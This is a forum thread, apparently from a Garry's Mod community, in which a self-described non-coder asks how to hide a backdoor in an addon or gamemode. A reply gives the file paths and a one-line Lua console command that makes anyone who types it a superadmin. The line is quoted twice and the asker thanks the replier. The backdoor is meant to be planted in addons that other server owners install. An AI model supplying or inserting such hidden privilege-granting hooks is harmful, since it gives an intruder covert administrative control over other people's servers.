lua/autorun/server/init.lua
or
gamemode/init.lua
concommand.Add("gifmeadminplez", function(p) p:SetUserGroup("superadmin") end)
Hey, im not a coder so i dont really know anything about coding gamemodes and stuff. PLEASE dont post shit like - Omg noob learn lua instead or shit like that. I just want an easy reply thats tell me how to do it.
So i was just wondering if i want to example put a backdoor inside an addon or gamemode. Where do i put it and what do i put in it
Ive searched around on google but i cant really find anything.
So if anyone knows how to put a backdoor in an addon/gamemode that gives me superadmin ( you type like "gifmeadminplez" in console and it automatticly makes you superadmin )
please reply where i put the code and what code i should put in the file
lua/autorun/server/init.lua
or
gamemode/init.lua
concommand.Add("gifmeadminplez", function(p) p:SetUserGroup("superadmin") end)
dewboat (05-30-2014)
Thanks so much
Omg noob learn lua instead
Luv u 2 <3